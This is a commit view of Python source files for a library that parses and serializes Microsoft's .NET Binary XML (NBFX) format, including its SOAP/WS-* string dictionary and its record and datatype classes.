0x7A: "http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd",
0x7C: "RequestSecurityTokenResponseCollection",
0x7E: "http://schemas.xmlsoap.org/ws/2005/02/trust",
0x80: "http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret",
0x82: "http://schemas.microsoft.com/ws/2006/02/transactions",
0x84: "s",
0x86: "Fault",
0x88: "MustUnderstand",
0x8A: "role",
0x8C: "relay",
0x8E: "Code",
0x90: "Reason",
0x92: "Text",
0x94: "Node",
0x96: "Role",
0x98: "Detail",
0x9A: "Value",
0x9C: "Subcode",
0x9E: "NotUnderstood",
0xA0: "qname",
0xA2: '"',
0xA4: "From",
0xA6: "FaultTo",
0xA8: "EndpointReference",
0xAA: "PortType",
0xAC: "ServiceName",
0xAE: "PortName",
0xB0: "ReferenceProperties",
0xB2: "RelationshipType",
0xB4: "Reply",
0xB6: "a",
0xB8: "http://schemas.xmlsoap.org/ws/2006/02/addressingidentity",
0xBA: "Identity",
0xBC: "Spn",
0xBE: "Upn",
0xC0: "Rsa",
0xC2: "Dns",
0xC4: "X509v3Certificate",
0xC6: "http://www.w3.org/2005/08/addressing/fault",
0xC8: "ReferenceParameters",
0xCA: "IsReferenceParameter",
0xCC: "http://www.w3.org/2005/08/addressing/reply",
0xCE: "http://www.w3.org/2005/08/addressing/none",
0xD0: "Metadata",
0xD2: "http://schemas.xmlsoap.org/ws/2004/08/addressing",
0xD4: "http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous",
0xD6: "http://schemas.xmlsoap.org/ws/2004/08/addressing/fault",
0xD8: "http://schemas.xmlsoap.org/ws/2004/06/addressingex",
0xDA: "RedirectTo",
0xDC: "Via",
0xDE: "http://www.w3.org/2001/10/xml-exc-c14n#",
0xE0: "PrefixList",
0xE2: "InclusiveNamespaces",
0xE4: "ec",
0xE6: "SecurityContextToken",
0xE8: "Generation",
0xEA: "Label",
0xEC: "Offset",
0xEE: "Properties",
0xF0: "Cookie",
0xF2: "wsc",
0xF4: "http://schemas.xmlsoap.org/ws/2004/04/sc",
0xF6: "http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk",
0xF8: "http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct",
0xFA: "http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT",
0xFC: "http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT",
0xFE: "RenewNeeded",
0x100: "BadContextToken",
0x102: "c",
0x104: "http://schemas.xmlsoap.org/ws/2005/02/sc/dk",
0x106: "http://schemas.xmlsoap.org/ws/2005/02/sc/sct",
0x108: "http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT",
0x10A: "http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT",
0x10C: "http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Renew",
0x10E: "http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew",
0x110: "http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel",
0x112: "http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel",
0x114: "http://www.w3.org/2001/04/xmlenc#aes128-cbc",
0x116: "http://www.w3.org/2001/04/xmlenc#kw-aes128",
0x118: "http://www.w3.org/2001/04/xmlenc#aes192-cbc",
0x11A: "http://www.w3.org/2001/04/xmlenc#kw-aes192",
0x11C: "http://www.w3.org/2001/04/xmlenc#aes256-cbc",
0x11E: "http://www.w3.org/2001/04/xmlenc#kw-aes256",
0x120: "http://www.w3.org/2001/04/xmlenc#des-cbc",
0x122: "http://www.w3.org/2000/09/xmldsig#dsa-sha1",
0x124: "http://www.w3.org/2001/10/xml-exc-c14n#WithComments",
0x126: "http://www.w3.org/2000/09/xmldsig#hmac-sha1",
0x128: "http://www.w3.org/2001/04/xmldsig-more#hmac-sha256",
0x12A: "http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1",
0x12C: "http://www.w3.org/2001/04/xmlenc#ripemd160",
0x12E: "http://www.w3.org/2001/04/xmlenc#rsa-oaep-mgf1p",
0x130: "http://www.w3.org/2000/09/xmldsig#rsa-sha1",
0x132: "http://www.w3.org/2001/04/xmldsig-more#rsa-sha256",
0x134: "http://www.w3.org/2001/04/xmlenc#rsa-1_5",
0x136: "http://www.w3.org/2000/09/xmldsig#sha1",
0x138: "http://www.w3.org/2001/04/xmlenc#sha256",
0x13A: "http://www.w3.org/2001/04/xmlenc#sha512",
0x13C: "http://www.w3.org/2001/04/xmlenc#tripledes-cbc",
0x13E: "http://www.w3.org/2001/04/xmlenc#kw-tripledes",
0x140: "http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap",
0x142: "http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap",
0x144: "http://schemas.microsoft.com/ws/2006/05/security",
0x146: "dnse",
0x148: "o",
0x14A: "Password",
0x14C: "PasswordText",
0x14E: "Username",
0x150: "UsernameToken",
0x152: "BinarySecurityToken",
0x154: "EncodingType",
0x156: "KeyIdentifier",
0x158: "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary",
0x15A: "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary",
0x15C: "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text",
0x15E: "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentifier",
0x160: "http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ",
0x162: "http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510",
0x164: "http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID",
0x166: "Assertion",
0x168: "urn:oasis:names:tc:SAML:1.0:assertion",
0x16A: "http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license",
0x16C: "FailedAuthentication",
0x16E: "InvalidSecurityToken",
0x170: "InvalidSecurity",
0x172: "k",
0x174: "SignatureConfirmation",
0x176: "TokenType",
0x178: "http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1",
0x17A: "http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey",
0x17C: "http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1",
0x17E: "http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1",
0x180: "http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0",
0x182: "http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID",
0x184: "AUTH-HASH",
0x186: "RequestSecurityTokenResponse",
0x188: "KeySize",
0x18A: "RequestedTokenReference",
0x18C: "AppliesTo",
0x18E: "Authenticator",
0x190: "CombinedHash",
0x192: "BinaryExchange",
0x194: "Lifetime",
0x196: "RequestedSecurityToken",
0x198: "Entropy",
0x19A: "RequestedProofToken",
0x19C: "ComputedKey",
0x19E: "RequestSecurityToken",
0x1A0: "RequestType",
0x1A2: "Context",
0x1A4: "BinarySecret",
0x1A6: "http://schemas.xmlsoap.org/ws/2005/02/trust/spnego",
0x1A8: "http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego",
0x1AA: "wst",
0x1AC: "http://schemas.xmlsoap.org/ws/2004/04/trust",
0x1AE: "http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue",
0x1B0: "http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue",
0x1B2: "http://schemas.xmlsoap.org/ws/2004/04/security/trust/Issue",
0x1B4: "http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1",
0x1B6: "http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey",
0x1B8: "http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce",
0x1BA: "KeyType",
0x1BC: "http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey",
0x1BE: "http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey",
0x1C0: "Claims",
0x1C2: "InvalidRequest",
0x1C4: "RequestFailed",
0x1C6: "SignWith",
0x1C8: "EncryptWith",
0x1CA: "EncryptionAlgorithm",
0x1CC: "CanonicalizationAlgorithm",
0x1CE: "ComputedKeyAlgorithm",
0x1D0: "UseKey",
0x1D2: "http://schemas.microsoft.com/net/2004/07/secext/WS-SPNego",
0x1D4: "http://schemas.microsoft.com/net/2004/07/secext/TLSNego",
0x1D6: "t",
0x1D8: "http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue",
0x1DA: "http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue",
0x1DC: "http://schemas.xmlsoap.org/ws/2005/02/trust/Issue",
0x1DE: "http://schemas.xmlsoap.org/ws/2005/02/trust/SymmetricKey",
0x1E0: "http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1",
0x1E2: "http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce",
0x1E4: "RenewTarget",
0x1E6: "CancelTarget",
0x1E8: "RequestedTokenCancelled",
0x1EA: "RequestedAttachedReference",
0x1EC: "RequestedUnattachedReference",
0x1EE: "IssuedTokens",
0x1F0: "http://schemas.xmlsoap.org/ws/2005/02/trust/Renew",
0x1F2: "http://schemas.xmlsoap.org/ws/2005/02/trust/Cancel",
0x1F4: "http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey",
0x1F6: "Access",
0x1F8: "AccessDecision",
0x1FA: "Advice",
0x1FC: "AssertionID",
0x1FE: "AssertionIDReference",
0x200: "Attribute",
0x202: "AttributeName",
0x204: "AttributeNamespace",
0x206: "AttributeStatement",
0x208: "AttributeValue",
0x20A: "Audience",
0x20C: "AudienceRestrictionCondition",
0x20E: "AuthenticationInstant",
0x210: "AuthenticationMethod",
0x212: "AuthenticationStatement",
0x214: "AuthorityBinding",
0x216: "AuthorityKind",
0x218: "AuthorizationDecisionStatement",
0x21A: "Binding",
0x21C: "Condition",
0x21E: "Conditions",
0x220: "Decision",
0x222: "DoNotCacheCondition",
0x224: "Evidence",
0x226: "IssueInstant",
0x228: "Issuer",
0x22A: "Location",
0x22C: "MajorVersion",
0x22E: "MinorVersion",
0x230: "NameIdentifier",
0x232: "Format",
0x234: "NameQualifier",
0x236: "Namespace",
0x238: "NotBefore",
0x23A: "NotOnOrAfter",
0x23C: "saml",
0x23E: "Statement",
0x240: "Subject",
0x242: "SubjectConfirmation",
0x244: "SubjectConfirmationData",
0x246: "ConfirmationMethod",
0x248: "urn:oasis:names:tc:SAML:1.0:cm:holder-of-key",
0x24A: "urn:oasis:names:tc:SAML:1.0:cm:sender-vouches",
0x24C: "SubjectLocality",
0x24E: "DNSAddress",
0x250: "IPAddress",
0x252: "SubjectStatement",
0x254: "urn:oasis:names:tc:SAML:1.0:am:unspecified",
0x256: "xmlns",
0x258: "Resource",
0x25A: "UserName",
0x25C: "urn:oasis:names:tc:SAML:1.1:nameid-format:WindowsDomainQualifiedName",
0x25E: "EmailName",
0x260: "urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress",
0x262: "u",
0x264: "ChannelInstance",
0x266: "http://schemas.microsoft.com/ws/2005/02/duplex",
0x268: "Encoding",
0x26A: "MimeType",
0x26C: "CarriedKeyName",
0x26E: "Recipient",
0x270: "EncryptedKey",
0x272: "KeyReference",
0x274: "e",
0x276: "http://www.w3.org/2001/04/xmlenc#Element",
0x278: "http://www.w3.org/2001/04/xmlenc#Content",
0x27A: "KeyName",
0x27C: "MgmtData",
0x27E: "KeyValue",
0x280: "RSAKeyValue",
0x282: "Modulus",
0x284: "Exponent",
0x286: "X509Data",
0x288: "X509IssuerSerial",
0x28A: "X509IssuerName",
0x28C: "X509SerialNumber",
0x28E: "X509Certificate",
0x290: "AckRequested",
0x292: "http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested",
0x294: "AcksTo",
0x296: "Accept",
0x298: "CreateSequence",
0x29A: "http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence",
0x29C: "CreateSequenceRefused",
0x29E: "CreateSequenceResponse",
0x2A0: "http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse",
0x2A2: "FaultCode",
0x2A4: "InvalidAcknowledgement",
0x2A6: "LastMessage",
0x2A8: "http://schemas.xmlsoap.org/ws/2005/02/rm/LastMessage",
0x2AA: "LastMessageNumberExceeded",
0x2AC: "MessageNumberRollover",
0x2AE: "Nack",
0x2B0: "netrm",
0x2B2: "Offer",
0x2B4: "r",
0x2B6: "SequenceFault",
0x2B8: "SequenceTerminated",
0x2BA: "TerminateSequence",
0x2BC: "http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence",
0x2BE: "UnknownSequence",
0x2C0: "http://schemas.microsoft.com/ws/2006/02/tx/oletx",
0x2C2: "oletx",
0x2C4: "OleTxTransaction",
0x2C6: "PropagationToken",
0x2C8: "http://schemas.xmlsoap.org/ws/2004/10/wscoor",
0x2CA: "wscoor",
0x2CC: "CreateCoordinationContext",
0x2CE: "CreateCoordinationContextResponse",
0x2D0: "CoordinationContext",
0x2D2: "CurrentContext",
0x2D4: "CoordinationType",
0x2D6: "RegistrationService",
0x2D8: "Register",
0x2DA: "RegisterResponse",
0x2DC: "ProtocolIdentifier",
0x2DE: "CoordinatorProtocolService",
0x2E0: "ParticipantProtocolService",
0x2E2: "http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext",
0x2E4: "http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse",
0x2E6: "http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register",
0x2E8: "http://schemas.xmlsoap.org/ws/2004/10/wscoor/RegisterResponse",
0x2EA: "http://schemas.xmlsoap.org/ws/2004/10/wscoor/fault",
0x2EC: "ActivationCoordinatorPortType",
0x2EE: "RegistrationCoordinatorPortType",
0x2F0: "InvalidState",
0x2F2: "InvalidProtocol",
0x2F4: "InvalidParameters",
0x2F6: "NoActivity",
0x2F8: "ContextRefused",
0x2FA: "AlreadyRegistered",
0x2FC: "http://schemas.xmlsoap.org/ws/2004/10/wsat",
0x2FE: "wsat",
0x300: "http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion",
0x302: "http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC",
0x304: "http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC",
0x306: "Prepare",
0x308: "Prepared",
0x30A: "ReadOnly",
0x30C: "Commit",
0x30E: "Rollback",
0x310: "Committed",
0x312: "Aborted",
0x314: "Replay",
0x316: "http://schemas.xmlsoap.org/ws/2004/10/wsat/Commit",
0x318: "http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback",
0x31A: "http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed",
0x31C: "http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted",
0x31E: "http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare",
0x320: "http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepared",
0x322: "http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly",
0x324: "http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay",
0x326: "http://schemas.xmlsoap.org/ws/2004/10/wsat/fault",
0x328: "CompletionCoordinatorPortType",
0x32A: "CompletionParticipantPortType",
0x32C: "CoordinatorPortType",
0x32E: "ParticipantPortType",
0x330: "InconsistentInternalState",
0x332: "mstx",
0x334: "Enlistment",
0x336: "protocol",
0x338: "LocalTransactionId",
0x33A: "IsolationLevel",
0x33C: "IsolationFlags",
0x33E: "Description",
0x340: "Loopback",
0x342: "RegisterInfo",
0x344: "ContextId",
0x346: "TokenId",
0x348: "AccessDenied",
0x34A: "InvalidPolicy",
0x34C: "CoordinatorRegistrationFailed",
0x34E: "TooManyEnlistments",
0x350: "Disabled",
0x352: "ActivityId",
0x354: "http://schemas.microsoft.com/2004/09/ServiceModel/Diagnostics",
0x356: "http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1",
0x358: "http://schemas.xmlsoap.org/ws/2002/12/policy",
0x35A: "FloodMessage",
0x35C: "LinkUtility",
0x35E: "Hops",
0x360: "http://schemas.microsoft.com/net/2006/05/peer/HopCount",
0x362: "PeerVia",
0x364: "http://schemas.microsoft.com/net/2006/05/peer",
0x366: "PeerFlooder",
0x368: "PeerTo",
0x36A: "http://schemas.microsoft.com/ws/2005/05/routing",
0x36C: "PacketRoutable",
0x36E: "http://schemas.microsoft.com/ws/2005/05/addressing/none",
0x370: "http://schemas.microsoft.com/ws/2005/05/envelope/none",
0x372: "http://www.w3.org/2001/XMLSchema-instance",
0x374: "http://www.w3.org/2001/XMLSchema",
0x376: "nil",
0x378: "type",
0x37A: "char",
0x37C: "boolean",
0x37E: "byte",
0x380: "unsignedByte",
0x382: "short",
0x384: "unsignedShort",
0x386: "int",
0x388: "unsignedInt",
0x38A: "long",
0x38C: "unsignedLong",
0x38E: "float",
0x390: "double",
0x392: "decimal",
0x394: "dateTime",
0x396: "string",
0x398: "base64Binary",
0x39A: "anyType",
0x39C: "duration",
0x39E: "guid",
0x3A0: "anyURI",
0x3A2: "QName",
0x3A4: "time",
0x3A6: "date",
0x3A8: "hexBinary",
0x3AA: "gYearMonth",
0x3AC: "gYear",
0x3AE: "gMonthDay",
0x3B0: "gDay",
0x3B2: "gMonth",
0x3B4: "integer",
0x3B6: "positiveInteger",
0x3B8: "negativeInteger",
0x3BA: "nonPositiveInteger",
0x3BC: "nonNegativeInteger",
0x3BE: "normalizedString",
0x3C0: "ConnectionLimitReached",
0x3C2: "http://schemas.xmlsoap.org/soap/envelope/",
0x3C4: "actor",
0x3C6: "faultcode",
0x3C8: "faultstring",
0x3CA: "faultactor",
0x3CC: "detail",
}
# StringTable (specs in [MC-NBFSE])
# mapping even integers to set of characters (defined at application-level)
# Trick: Fill all entries
i = 0x01
while i < 0xFFF:
DICTIONARY[i] = "[[VALUE_0x%02x]]" % i
i += 2
INVERTED_DICT = dict([(v, k) for (k, v) in DICTIONARY.items()])
+108
View File
@@ -0,0 +1,108 @@
import logging
import struct
from typing import Self
log = logging.getLogger(__name__)
class MultiByteInt31(object):
def __init__(self, value: int):
self.value = value
def to_bytes(self) -> bytes:
MAXMBI = 0x7F
if self.value < 0:
raise ValueError("Signed numbers are not supported")
if self.value <= MAXMBI:
return bytes([self.value])
result = []
for _ in range(5):
byte = self.value & MAXMBI
self.value >>= 7
if self.value != 0:
byte |= MAXMBI + 1
result.append(byte)
if self.value == 0:
break
return bytes(result)
def __str__(self):
return str(self.value)
@classmethod
def parse(cls, fp) -> Self:
# TODO: better error message needed when bytes value too large
MAXMBI = 0x7F
value = 0
for i in range(5):
v = struct.unpack("<B", fp.read(1))[0]
value |= (v & MAXMBI) << 7 * i
if not v & (MAXMBI + 1):
break
return cls(value)
class Utf8String(object):
def __init__(self, value: str):
self.value = value
def to_bytes(self) -> bytes:
data = self.value.encode("utf-8")
strlen = len(data)
return MultiByteInt31(strlen).to_bytes() + data
def __str__(self):
return self.value
def __unicode__(self):
return self.value
@classmethod
def parse(cls, fp) -> Self:
lngth = struct.unpack("<B", fp.read(1))[0]
return cls(fp.read(lngth).decode("utf8", errors="ignore"))
class Decimal(object):
def __init__(self, sign, high, low, scale):
if not 0 <= scale <= 28:
raise ValueError("scale %d isn't between 0 and 28" % scale)
self.sign = sign
self.high = high
self.low = low
self.scale = scale
def to_bytes(self) -> bytes:
bytes = struct.pack("<H", 0)
bytes += struct.pack("<B", self.scale)
bytes += struct.pack("<B", 0x80 if self.sign else 0x00)
bytes += struct.pack("<I", self.high)
bytes += struct.pack("<Q", self.low)
return bytes
def __str__(self):
value = str(self.high * 2**64 + self.low)
if self.scale > 0:
value = value[: -self.scale] + "." + value[-self.scale :]
if self.sign:
value = "-%s" % value
return value
@classmethod
def parse(cls, fp) -> Self:
fp.read(2)
scale = struct.unpack("<B", fp.read(1))[0]
sign = struct.unpack("<B", fp.read(1))[0] & 0x80
high = struct.unpack("<I", fp.read(4))[0]
low = struct.unpack("<Q", fp.read(8))[0]
return cls(sign, high, low, scale)
+198
View File
@@ -0,0 +1,198 @@
import struct
from typing import Self
from .constants import DICTIONARY
from .datatypes import MultiByteInt31, Utf8String
from .record import Element, record
class ShortElementRecord(Element):
type = 0x40
def __init__(self, name: str, *args, **kwargs):
self.childs = []
self.name = name
self.attributes = []
def to_bytes(self) -> bytes:
string = Utf8String(self.name)
bytes = super(ShortElementRecord, self).to_bytes() + string.to_bytes()
for attr in self.attributes:
bytes += attr.to_bytes()
return bytes
def __str__(self):
attributes_str = " ".join([str(a) for a in self.attributes])
return f"<{self.name}{f' {attributes_str}' if attributes_str else ''}>"
@classmethod
def parse(cls, fp):
name = Utf8String.parse(fp).value
return cls(name)
class ElementRecord(ShortElementRecord):
type = 0x41
def __init__(self, prefix: str, name: str, *args, **kwargs):
super(ElementRecord, self).__init__(name)
self.prefix = prefix
def to_bytes(self) -> bytes:
pref = Utf8String(self.prefix)
data = super(ElementRecord, self).to_bytes()
type = data[0]
return type.to_bytes() + pref.to_bytes() + data[1:]
def __str__(self):
attributes_str = " ".join([str(a) for a in self.attributes])
return f"<{self.prefix}:{self.name}{f' {attributes_str}' if attributes_str else ''}>"
@classmethod
def parse(cls, fp):
prefix = Utf8String.parse(fp).value
name = Utf8String.parse(fp).value
return cls(prefix, name)
class ShortDictionaryElementRecord(Element):
type = 0x42
def __init__(self, index: int, *args, **kwargs):
self.childs = []
self.index = index
self.attributes = []
self.name = DICTIONARY[self.index]
def __str__(self):
attributes_str = " ".join([str(a) for a in self.attributes])
return f"<{self.name} {f' {attributes_str}' if attributes_str else ''}>"
def to_bytes(self) -> bytes:
string = MultiByteInt31(self.index)
bytes = super(ShortDictionaryElementRecord, self).to_bytes() + string.to_bytes()
for attr in self.attributes:
bytes += attr.to_bytes()
return bytes
@classmethod
def parse(cls, fp):
index = MultiByteInt31.parse(fp).value
return cls(index)
class DictionaryElementRecord(Element):
type = 0x43
def __init__(self, prefix: str, index: int, *args, **kwargs):
self.childs = []
self.prefix = prefix
self.index = index
self.attributes = []
self.name = DICTIONARY[self.index]
def __str__(self):
attributes_str = " ".join(str(a) for a in self.attributes)
return f"<{self.prefix}:{self.name}{' ' + attributes_str if attributes_str else ''}>"
def to_bytes(self) -> bytes:
pref = Utf8String(self.prefix)
string = MultiByteInt31(self.index)
bytes = (
super(DictionaryElementRecord, self).to_bytes()
+ pref.to_bytes()
+ string.to_bytes()
)
for attr in self.attributes:
bytes += attr.to_bytes()
return bytes
@classmethod
def parse(cls, fp):
prefix = Utf8String.parse(fp).value
index = MultiByteInt31.parse(fp).value
return cls(prefix, index)
class PrefixElementRecord(ElementRecord):
def __init__(self, name: str):
super(PrefixElementRecord, self).__init__(self.char, name)
def to_bytes(self) -> bytes:
string = Utf8String(self.name)
bytes = struct.pack("<B", self.type) + string.to_bytes()
for attr in self.attributes:
bytes += attr.to_bytes()
return bytes
@classmethod
def parse(cls, fp):
name = Utf8String.parse(fp).value
return cls(name)
class PrefixDictionaryElementRecord(DictionaryElementRecord):
def __init__(self, index: int):
super(PrefixDictionaryElementRecord, self).__init__(self.char, index)
# TODO: what is self.char????
def to_bytes(self) -> bytes:
string = MultiByteInt31(self.index)
bytes = struct.pack("<B", self.type) + string.to_bytes()
for attr in self.attributes:
bytes += attr.to_bytes()
return bytes
@classmethod
def parse(cls, fp) -> Self:
index: int = MultiByteInt31.parse(fp).value
return cls(index)
record.add_records(
(
ShortElementRecord,
ElementRecord,
ShortDictionaryElementRecord,
DictionaryElementRecord,
)
)
__records__ = []
for c in range(0x44, 0x5D + 1):
char = chr(c - 0x44 + ord("a"))
cls = type(
"PrefixDictionaryElement" + char.upper() + "Record",
(PrefixDictionaryElementRecord,),
dict(
type=c,
char=char,
),
)
__records__.append(cls)
for c in range(0x5E, 0x77 + 1):
char = chr(c - 0x5E + ord("a"))
cls = type(
"PrefixElement" + char.upper() + "Record",
(PrefixElementRecord,),
dict(
type=c,
char=char,
),
)
__records__.append(cls)
record.add_records(__records__)
del __records__
+208
View File
@@ -0,0 +1,208 @@
import struct
from typing import Self, Type
import logging as log
from .datatypes import MultiByteInt31, Utf8String
class record:
records: dict[int, Type[Self]] = dict()
@classmethod
def add_records(cls, records):
"""adds records to the lookup table
Args:
records (list[record]): list of record subclasses
"""
for r in records:
record.records[r.type] = r
def __init__(self, type=None):
if type:
self.type = type
self.childs = []
self.parent = None
def to_bytes(self):
"""
Generates the representing bytes of the record
"""
return struct.pack("<B", self.type)
def __repr__(self):
args = ["type=0x%X" % self.type]
return "<%s(%s)>" % (type(self).__name__, ",".join(args))
@classmethod
def parse(cls, fp) -> list[Self] | Self:
"""
Parses the binary data from fp into record objects
Args:
fp: file like object to read from
Returns:
(record): a root record object with its child records
"""
if cls != record:
return cls() # TODO: this might need to be removed from list
root = []
records = root
parents = []
last_el = None
while True:
# Gate the parsing. When there is no more
# to read, return the current parsed data
type_byte: bytes = fp.read(1)
if not type_byte:
return root
type: int = struct.unpack("<B", type_byte)[0]
if type in record.records:
log.debug("%s found" % record.records[type].__name__)
obj = record.records[type].parse(fp)
if isinstance(obj, EndElementRecord):
if parents:
records = parents.pop()
elif isinstance(obj, Element):
last_el = obj
records.append(obj)
parents.append(records)
obj.childs = []
records = obj.childs
elif isinstance(obj, Attribute) and last_el:
last_el.attributes.append(obj)
else:
records.append(obj)
log.debug("Value: %s" % str(obj))
# if the type isnt already in the declared types,
# then it is a '*WithEnd' type record
elif type - 1 in record.records:
log.debug(
"%s with end element found (0x%x)"
% (record.records[type - 1].__name__, type)
)
records.append(record.records[type - 1].parse(fp))
last_el = None
if parents:
records = parents.pop()
else:
log.warn("type 0x%x not found" % type)
return root
class Element(record): ...
class EndElementRecord(Element):
type = 0x01
class Attribute(record): ...
class CommentRecord(record):
type = 0x02
def __init__(self, comment: str, *args, **kwargs):
super(CommentRecord, self).__init__()
self.comment = comment
def to_bytes(self) -> bytes:
string = Utf8String(self.comment)
return super(CommentRecord, self).to_bytes() + string.to_bytes()
def __str__(self):
return "<!-- %s -->" % self.comment
@classmethod
def parse(cls, fp) -> Self:
data: str = Utf8String.parse(fp).value
return cls(data)
class ArrayRecord(record):
type = 0x03
# note, these are NOT the same thing as like a ZeroTextWithEndElement
# see [MC-NBFX]: 2.2.3.31
datatypes: dict[int, tuple[str, int, str]] = {
0xB5: ("BoolTextWithEndElement", 1, "?"),
0x8B: ("Int16TextWithEndElement", 2, "h"),
0x8D: ("Int32TextWithEndElement", 4, "i"),
0x8F: ("Int64TextWithEndElement", 8, "q"),
0x91: ("FloatTextWithEndElement", 4, "f"),
0x93: ("DoubleTextWithEndElement", 8, "d"),
0x95: ("DecimalTextWithEndElement", 16, ""),
0x97: ("DateTimeTextWithEndElement", 8, ""),
0xAF: ("TimeSpanTextWithEndElement", 8, ""),
0xB1: ("UuidTextWithEndElement", 16, ""),
}
def __init__(self, element, recordtype, data):
super(ArrayRecord, self).__init__()
self.element = element
self.recordtype = recordtype
self.count = len(data)
self.data = data
def to_bytes(self) -> bytes:
bytes = super(ArrayRecord, self).to_bytes()
bytes += self.element.to_bytes()
bytes += EndElementRecord().to_bytes()
bytes += struct.pack("<B", self.recordtype)[0]
bytes += MultiByteInt31(self.count).to_bytes()
for data in self.data:
if type(data) == str:
bytes += data
else:
bytes += data.to_bytes()
return bytes
@classmethod
def parse(cls, fp) -> Self:
element_type = struct.unpack("<B", fp.read(1))[0]
element = cls.records[element_type].parse(fp)
element_end = fp.read(1)
while element_end != b"\x01":
element_end = fp.read(1)
recordtype = struct.unpack("<B", fp.read(1))[0]
count = MultiByteInt31.parse(fp).value
data = []
for i in range(count):
data.append(cls.records[recordtype - 1].parse(fp))
return cls(element, recordtype, data)
def __str__(self):
string = ""
for data in self.data:
string += str(self.element)
string += str(data)
string += "</%s>" % self.element.name
return string
record.add_records(
(
EndElementRecord,
CommentRecord,
ArrayRecord,
)
)
+606
View File
@@ -0,0 +1,606 @@
import base64
import datetime
import struct
from html.entities import codepoint2name
from typing import Self
from .constants import DICTIONARY
from .datatypes import Decimal, MultiByteInt31
from .record import record
class Text(record): ...
class ZeroTextRecord(Text):
type = 0x80
def __str__(self):
return "0"
@classmethod
def parse(cls, fp) -> Self:
return cls()
class OneTextRecord(Text):
type = 0x82
def __str__(self):
return "1"
@classmethod
def parse(cls, fp) -> Self:
return cls()
class FalseTextRecord(Text):
type = 0x84
def __str__(self):
return "false"
@classmethod
def parse(cls, fp) -> Self:
return cls()
class TrueTextRecord(Text):
type = 0x86
def __str__(self):
return "true"
@classmethod
def parse(cls, fp) -> Self:
return cls()
class Int8TextRecord(Text):
type = 0x88
def __init__(self, value):
self.value = value
def to_bytes(self) -> bytes:
return super(Int8TextRecord, self).to_bytes() + struct.pack("<b", self.value)
def __str__(self):
return str(self.value)
@classmethod
def parse(cls, fp) -> Self:
return cls(struct.unpack("<b", fp.read(1))[0])
class Int16TextRecord(Int8TextRecord):
type = 0x8A
def to_bytes(self) -> bytes:
# print self.value
return struct.pack("<B", self.type) + struct.pack("<h", self.value)
@classmethod
def parse(cls, fp) -> Self:
return cls(struct.unpack("<h", fp.read(2))[0])
class Int32TextRecord(Int8TextRecord):
type = 0x8C
def to_bytes(self) -> bytes:
return struct.pack("<B", self.type) + struct.pack("<i", self.value)
@classmethod
def parse(cls, fp) -> Self:
return cls(struct.unpack("<i", fp.read(4))[0])
